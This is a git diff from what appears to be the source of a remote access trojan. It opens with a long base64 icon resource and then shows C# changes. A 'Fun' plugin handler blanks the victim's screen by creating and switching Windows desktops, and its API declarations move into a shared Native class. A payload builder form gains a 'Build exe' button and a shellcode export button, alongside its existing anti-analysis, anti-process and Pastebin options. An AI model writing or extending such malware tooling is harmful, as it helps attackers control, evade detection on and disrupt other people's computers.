nABnmpwAZ5qcAGeanABnmpwAZ5qcAGeanABnmpwAbaCiAE9+gVwyU1f/XnV4/11nbP9mbnP/WmZr/2Rw + df9jbnP/WGRr/1docP8sRE7eWHmBIHSYnwBwk5oAcpadAFp8hAAzUlgAYYeMACNJUABGbHIARGpwAERq + cABDaG4AV4CHAERveQA1W2cAM1VdAFp/hQA4YWcAI01TAClTWQAvWF0AJk1SACFITAA3X2EAcJqZAB9E + SAAiSE8AFDpBABo/RgB2oaQASXJ3AHidowD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wAjV2EAIlZgACNX + YQBUkJYAIFFXAAQwNwAKPkMAUI2NAA04PABBcHUAHENKAFN/hQA2ZGsALF1jACJWWwAoWFwAMl1fACVX + YAAzbnkAWY6WAGGUlABil5cAYpeXAGKXlwBil5cAYpeXAGKXlwBil5cAYpeXAGKXlwBil5cAYpeXAGKX + lwBkmpkAW4+PFyBIS9lMZmr/YG1y/11mbf9XZ2v/WGRq/1tiaf9laXH/ZW11/zNASv9AWWGUcpadAGuO + lQBsjpUAV3mBADJQVgBhh4wAI0lQAEZscgBEanAARGpwAERqcABCZ20AS3J3ACtQWgA0Vl4AWn+FADhh + ZwAjTVMAKVNZAC9YXQAmTVIAIUhMADdfYQBwmpkAH0RIACJITwAUOkEAGj9GAHahpABJcncAeJ2jAP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////ACNXYQAiVmAAI1dhAFSQlgAgUVcABDA3AAo+QwBQjY0ADTg8AEFw + dQAcQ0oAU3+FADZkawAsXWMAIlZbAChYXAAyXV8AJVdgADNueQBbkJgAeK2sAG6hoABvoqEAb6KhAG+i + oQBvoqEAb6KhAG+ioQBvoqEAb6KhAG+ioQBvoqEAb6KhAG6ioQB2qqkASHh5ZT5cYfpeb3X/VGNo/1dq + bv9UYGf/bXJ5/1ZXYP9dXWf/GiAq/wUJEv4cPENPEjg7AAQVGQAsSlEAOlhfAGGHjAAjSVAARmxyAERq + cABEanAARGpwAERqcABEam8APmNqAEpudABaf4QAN2BmACNNUwApU1kAL1hdACZNUgAhSEwAN19hAHCa + mQAfREgAIkhPABQ6QQAaP0YAdqGkAElydwB4naMA////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8AI1dhACJW + YAAjV2EAVJCWACBRVwAEMDcACj5DAFCNjQANODwAQXB1ABxDSgBTf4UANmRrACxdYwAiVlsAKFhcADJd + XwAlV2AAM2x5AF6UnACczc0Al8fGAJfHxgCXx8YAl8fGAJfHxgCXx8YAl8fGAJfHxgCXx8YAl8fGAJfH + xgCXx8YAl8fGAJjIxwCYyccAHUBE3ktjaf9Uam//VGlu/1Vkav9AR07/MzI8/x4cJ/8GCBH/AwoR/wwg + JvgOMzdRAA8TACpITwA6WF8AYYeMACNJUABGbHIARGpwAERqcABEanAARGpwAERqcABDaW8ATXN5AExy + eAA+Z20AIUtRAClTWQAvWF0AJk1SACFITAA3X2EAcJqZAB9ESAAiSE8AFDpBABo/RgB2oaQASXJ3AHid + owD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wAjV2EAIlZgACNXYQBUkJYAIFFXAAQwNwAKPkMAUI2NAA04 + PABBcHUAHENKAFN/hQA2ZGsALF1jACJWWwAoWFwAMl1fACVXYAA1b3sASXuDAHGgoQBtnJ0AbZydAG2c + nQBtnJ0AbZydAG2cnQBtnJ0AbZydAG2cnQBtnJ0AbZydAG2cnQBtnJ0AbpyeAG2dngAcQERMESMq/yU+ + Rf8THyT/Q1FX/xMaIP8HCBD/AQIJ/wYLEv8DChD/AQ4S/wAXG/8AFBhPK0lQADpYXwBhh4wAI0lQAEZs + cgBEanAARGpwAERqcABEanAARGpwAERqcABDaW8ARGpwADxhaAAqVVsAJU9VAC9YXQAmTVIAIUhMADdf + YQBwmpkAH0RIACJITwAUOkEAGj9GAHahpABJcncAeJ2jAP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////ACNX + YQAiVmAAI1dhAFSQlgAgUVcABDA3AAo+QwBQjY0ADTg8AEFwdQAcQ0oAU3+FADZkawAsXWMAIlZbAChY + XAAyXV8AJVdgADZzfwAdSVAAIk1SACFNUgAhTVIAIU1SACFNUgAhTVIAIU1SACFNUgAhTVIAIU1SACFN + UgAhTVIAIU1SACFNUgAhTVIAIU1SAC1cYRMKKC+yAAcO/wAMEv8QGSD/DxUc/wIID/8GDBP/BAoR/wcO + Ff8EDhL/AQgN/wAOEvgnRUybPFxiEWaNkgAiSE8ARmxyAERqcABEanAARGpwAERqcABEanAARGpwAERq + cABEanAARWtxAENqcAA/aG4AK1RaACVMUQAhSEwAN19hAHCamQAfREgAIkhPABQ6QQAaP0YAdqGkAEly + dwB4naMA////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8AI1dhACJWYAAjV2EAVJCWACBRVwAEMDcACj5DAFCN + jQANODwAQXB1ABxDSgBTf4UANmRrACxdYwAiVlsAKFhcADJdXwAjVV4AQ36JAEt4fgBPfH8ATnt/AE57 + fwBOe38ATnt/AE57fwBOe38ATnt/AE57fwBOe38ATnt/AE57fwBOe38ATnt/AE57fwBOe38AUH6CAD5p + bgAgP0W1AwoS/wEKEf8EDxb/AQcO/wIKEP8DChD/AwoP/xAUGP8MEhf/BwwR/wQMEv8dMznSTW90VihP + VgBGbHIARGpwAERqcABEanAARGpwAERqcABEanAARGpwAERqcABEanAARGpwAElvdQAxWF4AKlJWAB5F + SQA3X2EAcJqZAB9ESAAiSE8AFDpBABo/RgB2oaQASXJ3AHidowD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wAjV2EAIlZgACNXYQBUkJYAIFFXAAQwNwAKPkMAUI2NAA04PABBcHUAHENKAFN/hQA2ZGsALF1jACJW + WwAoWFwAMl1fAB9RWwBblZ4AmsjJAJTDxQCUw8UAlMPFAJTDxQCUw8UAlMPFAJTDxQCUw8UAlMPFAJTD + xQCUw8UAlMPFAJTDxQCUw8UAlMPFAJTDxQCTw8QAmMnKAJG+wQkqNjy1AQgN/wAKD/8DDxT/BAoR/wIH + Df8ECQ7/DQ8V/wkID/8MCxL/BQwT/wAJE/8DEBj/KEpQlEt0ewRIcXcASHF3AEhxdwBIcXcASHF3AEhx + dwBIcXcASHF3AEhxdwBIcXcASHB2AEt0egBEbXIAN2FmADVfYQBwmpkAH0RIACJITwAUOkEAGj9GAHah + pABJcncAeJ2jAP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////ACNXYQAiVmAAI1dhAFSQlgAgUVcABDA3AAo+ + QwBQjY0ADTg8AEFwdQAcQ0oAU3+FADZkawAsXWMAIlZbAChYXAAyXV8AH1FbAFmTnACSwMIAjby+AI28 + vgCNvL4Ajby+AI28vgCNvL4Ajby+AI28vgCNvL4Ajby+AI28vgCNvL4Ajby+AI28vgCNvL4Ajby+AI28 + vgCNvb0AlMDDAHifohEKKSy5AQsP/wARFv8DCxL/BgcP/wUFDf8IBg//CAYP/woHEP8JDBf/AAcS/wAL + Ff8OHST/L0hNYyxFSwAsRUsALEVLACxFSwAsRUsALEVLACxFSwAsRUsALEVLACxFSwAsRUsALEVLAC1G + TAArQ0cALUpNAHGcmgAfREgAIkhPABQ6QQAaP0YAdqGkAElydwB4naMA////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8AI1dhACJWYAAjV2EAVJCWACBRVwAEMDcACj5DAFCNjQANODwAQXB1ABxDSgBTf4UANmRrACxd + YwAiVlsAKFhcADJdXwAfUVsAWZOcAJLAwgCNvL4Ajby+AI28vgCNvL4Ajby+AI28vgCNvL4Ajby+AI28 + vgCNvL4Ajby+AI28vgCNvL4Ajby+AI28vgCNvL4Ajby+AI29vgCRvL8Ad52gAA44OwgoTlGjCBAU+QgX + Hf8GERr/AAcP/wEKEv8FCxT/AwcP/wYJEv8JERz/AQ0X/wAWH/8ACQ5rAAkPAAAJDwAACQ8AAAkPAAAJ + DwAACQ8AAAkPAAAJDwAACQ8AAAkPAAAJDwAACQ8AAAkPAAEECAAkNDkAcZybAB9ESAAiSE8AFDpBABo/ + RgB2oaQASXJ3AHidowD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wAjV2EAIlZgACNXYQBUkJYAIFFXAAQw + NwAKPkMAUI2NAA04PABBcHUAHENKAFN/hQA2ZGsALF1jACJWWwAoWFwAMl1fAB9RWwBZk5wAksDCAI28 + vgCNvL4Ajby+AI28vgCNvL4Ajby+AI28vgCNvL4Ajby+AI28vgCNvL4Ajby+AI28vgCNvL4Ajby+AI28 + vgCNvL4Ajb2+AJG8vwB2nJ8ADDM3ADRhZAAeLzMuHC4yqwcYHv8AChD/AAEH/wADCf8ACQ//AAoR/wYP + GP8BDhX/MExSomiVmQ1kj5MAZI+TAGSPkwBkj5MAZI+TAGSPkwBkj5MAZI+TAGSPkwBkj5MAZI+TAGSP + kwBkj5MAZI+TAGeUmABZhIYAIkZKACJITwAUOkEAGj9GAHahpABJcncAeJ2jAP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////ACNXYQAiVmAAI1dhAFSQlgAgUVcABDA3AAo+QwBQjY0ADTg8AEFwdQAcQ0oAU3+FADZk + awAsXWMAIlZbAChYXAAyXV8AH1FbAFmTnACSwMIAjby+AI28vgCNvL4Ajby+AI28vgCNvL4Ajby+AI28 + vgCNvL4Ajby+AI28vgCNvL4Ajby+AI28vgCNvL4Ajby+AI28vgCNvb4Akby/AHacnwAMMzcAMV1gAB4x + NAAeMDUAEC80ST9eYVNSb3B3Lk9S1h1ARPQzU1jaPlBWZwEVHFNqlpsBa5ibAGmVmQBplZkAaZWZAGmV + mQBplZkAaZWZAGmVmQBplZkAaZWZAGmVmQBplZkAaZWZAGmVmQBplpoAa5icAFiDhQAiRkoAIkhPABQ6 + QQAaP0YAdqGkAElydwB4naMA////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A//////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + ////////////////////////+A//////AP////////////gD/////gB////////////wAf////wAP/// + ////////8AD////4AD///////////+AAP///4AA////////////gAB///8AAP///////////4AAf///g + AD////////////AAD///wAA////////////wAAP//gAAP///////////+AAH//8AAH///////////wAA + Af/+AAD///////////wAAAH//gAA9//////////+AAABf/AAAPz//////////gAAAH/+AACT//////// + //wAAAD/kAAAAH/////////8AAAAPAAAAAA//////////gAAAAAAAAAAP/////////4AAAAAAAAAAD// + ///////+AAAAAAAAAAA//////////gAAAAAAAAAAf/////////+AAAAAAAAAAP/////////5AAAAAAAA + AAH/////////+AAAAAAAAAAAP/////////4AAAAAAAAAAD/////////8AAAAAAAAAAB//////////AAA + AAAAAAAAP/////////gAAAAAAAAAAD/////////4AAAAAAAAAAA//////////AAAAAAAAAAAP/////// + //wAAAAAAAAAAD/////////8AAAAAAAAAAAf/////////AAAAAAAAAAAH/////////wAAAAAAAAAAB// + ///////8AAAAAAAAAAA//////////AAAAAAAAAAAP/////////wAAAAAAAAAAD/////////8AAAAAAAA + AAA//////////AAAAAAAAAAAP/////////4AAAAAAAAAAD/////////8AAAAAAAAAAA//////////AAA + AAAAAAAAP/////////wAAAAAAAAAAD/////////8AAAAAAAAAAA//////////AAAAAAAAAAAP/////// + //wAAAAAAAAAAD/////////+AAAAAAAAAAA//////////gAAAAAAAAAAP/////////4AAAAAAAAAAD// + ///////+AAAAAAAAAAA//////////gAAAAAAAAAAH/////////wAAAAAAAAAAB/////////8AAAAAAAA + AAAf/////////AAAAAAAAAAAH/////////wAAAAAAAAAAB/////////4AAAAAAAAAAAf////////+AAA + AAAAAAAAD/////////AAAAAAAAAAAA/////////wAAAAAAAAAAAH////////8AAAAAAAAAAAA/////// + //AAAAAAAAAAAAP////////wAAAAAAAAAAAD////////4AAAAAAAAAAAA////////+AAAAAAAAAAAAH/ + ///////gAAAAAAAAAAAB////////4AAAAAAAAAAAAP///////+AAAAAAAAAAAAD////////gAAAAAAAA + AAAA////////4AAAAAAAAAAAAP///////+AAAAAAAAAAAAD////////gAAAAAAAAAAAA////////4AAA + AAAAAAAAAP///////+AAAAAAAAAAAAD////////gAAAAAAAAAAAA////////4AAAAAAAAAAAAP////// + /+AAAAAAAAAAAAD////////gAAADAAB4AAAA////////4AAAB+AB/AAAAP///////+AAAB/gAf8AAAD/ + ///////gAAA/4AP/gAAA////////4AAA/+AD/8AAAP///////+AAAf/gA//gAAD////////wAAf/wAP/ + +AAA////////8AAf/8AD//4AAP////////AAf//AA///gAD////////wAf//wAP//8AA////////+A// + /+AD///wAP/////////////gA////AD/////////////4AP///+A/////////////+AB//////////// + ///////gAf//////////////////8AD///////////////////AA///////////////////4AP////// + ////////////+AB///////////////////gAf//////////////////8AD///////////////////gAf + //////////////////4AD//////////////////+AAP//////////////////4AB//////////////// + //+AAH//////////////////wAB//////////////////+AAf//////////////////4AH////////// + /////////gD///////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////8= + + \ No newline at end of file diff --git a/Plugin/Fun/Fun/Handler/HandleBlankScreen.cs b/Plugin/Fun/Fun/Handler/HandleBlankScreen.cs index f28c3fa..fec0e77 100644 --- a/Plugin/Fun/Fun/Handler/HandleBlankScreen.cs +++ b/Plugin/Fun/Fun/Handler/HandleBlankScreen.cs @@ -9,23 +9,6 @@ namespace Plugin.Handler { public class HandleBlankScreen { - [DllImport("user32.dll")] - public static extern IntPtr CreateDesktop(string lpszDesktop, IntPtr lpszDevice, IntPtr pDevmode, int dwFlags, uint dwDesiredAccess, IntPtr lpsa); - - [DllImport("user32.dll")] - private static extern bool SwitchDesktop(IntPtr hDesktop); - - [DllImport("user32.dll")] - public static extern bool CloseDesktop(IntPtr handle); - - [DllImport("user32.dll")] - public static extern bool SetThreadDesktop(IntPtr hDesktop); - - [DllImport("user32.dll")] - public static extern IntPtr GetThreadDesktop(int dwThreadId); - - [DllImport("kernel32.dll")] - public static extern int GetCurrentThreadId(); enum DESKTOP_ACCESS : uint { DESKTOP_NONE = 0, @@ -45,16 +28,16 @@ namespace Plugin.Handler } // old desktop's handle, obtained by getting the current desktop assigned for this thread - public readonly IntPtr hOldDesktop = GetThreadDesktop(GetCurrentThreadId()); + public readonly IntPtr hOldDesktop = Native.GetThreadDesktop(Native.GetCurrentThreadId()); // new desktop's handle, assigned automatically by CreateDesktop - public IntPtr hNewDesktop = CreateDesktop("RandomDesktopName", IntPtr.Zero, IntPtr.Zero, 0, (uint)DESKTOP_ACCESS.GENERIC_ALL, IntPtr.Zero); + public IntPtr hNewDesktop = Native.CreateDesktop("RandomDesktopName", IntPtr.Zero, IntPtr.Zero, 0, (uint)DESKTOP_ACCESS.GENERIC_ALL, IntPtr.Zero); public void Run() { try { - SwitchDesktop(hNewDesktop); + Native.SwitchDesktop(hNewDesktop); } catch { } } @@ -63,7 +46,7 @@ namespace Plugin.Handler { try { - SwitchDesktop(hOldDesktop); + Native.SwitchDesktop(hOldDesktop); } catch { } } diff --git a/Plugin/Fun/Fun/Handler/Native.cs b/Plugin/Fun/Fun/Handler/Native.cs index 213ea08..98cdffc 100644 --- a/Plugin/Fun/Fun/Handler/Native.cs +++ b/Plugin/Fun/Fun/Handler/Native.cs @@ -14,6 +14,23 @@ namespace Plugin.Handler public delegate bool EnumWindowsProc(IntPtr hWnd, IntPtr lParam); + [DllImport("user32.dll")] + public static extern IntPtr CreateDesktop(string lpszDesktop, IntPtr lpszDevice, IntPtr pDevmode, int dwFlags, uint dwDesiredAccess, IntPtr lpsa); + + [DllImport("user32.dll")] + public static extern bool SwitchDesktop(IntPtr hDesktop); + + [DllImport("user32.dll")] + public static extern bool CloseDesktop(IntPtr handle); + + [DllImport("user32.dll")] + public static extern bool SetThreadDesktop(IntPtr hDesktop); + + [DllImport("user32.dll")] + public static extern IntPtr GetThreadDesktop(int dwThreadId); + + [DllImport("kernel32.dll")] + public static extern int GetCurrentThreadId(); [DllImport("user32.dll")] public static extern IntPtr FindWindow(string className, string windowText); diff --git a/Server/Forms/FormBuilder.Designer.cs b/Server/Forms/FormBuilder.Designer.cs index 3fd01e7..78ad395 100644 --- a/Server/Forms/FormBuilder.Designer.cs +++ b/Server/Forms/FormBuilder.Designer.cs @@ -81,6 +81,7 @@ namespace Server.Forms this.txtPaste_bin = new System.Windows.Forms.TextBox(); this.chkAnti = new System.Windows.Forms.CheckBox(); this.chkAntiProcess = new System.Windows.Forms.CheckBox(); + this.btnShellcode = new System.Windows.Forms.Button(); ((System.ComponentModel.ISupportInitialize)(this.numDelay)).BeginInit(); ((System.ComponentModel.ISupportInitialize)(this.picIcon)).BeginInit(); this.SuspendLayout(); @@ -197,12 +198,12 @@ namespace Server.Forms // // btnBuild // - this.btnBuild.Location = new System.Drawing.Point(429, 348); + this.btnBuild.Location = new System.Drawing.Point(571, 349); this.btnBuild.Margin = new System.Windows.Forms.Padding(2); this.btnBuild.Name = "btnBuild"; - this.btnBuild.Size = new System.Drawing.Size(263, 45); + this.btnBuild.Size = new System.Drawing.Size(121, 45); this.btnBuild.TabIndex = 95; - this.btnBuild.Text = "Build"; + this.btnBuild.Text = "Build exe"; this.btnBuild.UseVisualStyleBackColor = true; this.btnBuild.Click += new System.EventHandler(this.BtnBuild_Click); // @@ -622,11 +623,22 @@ namespace Server.Forms 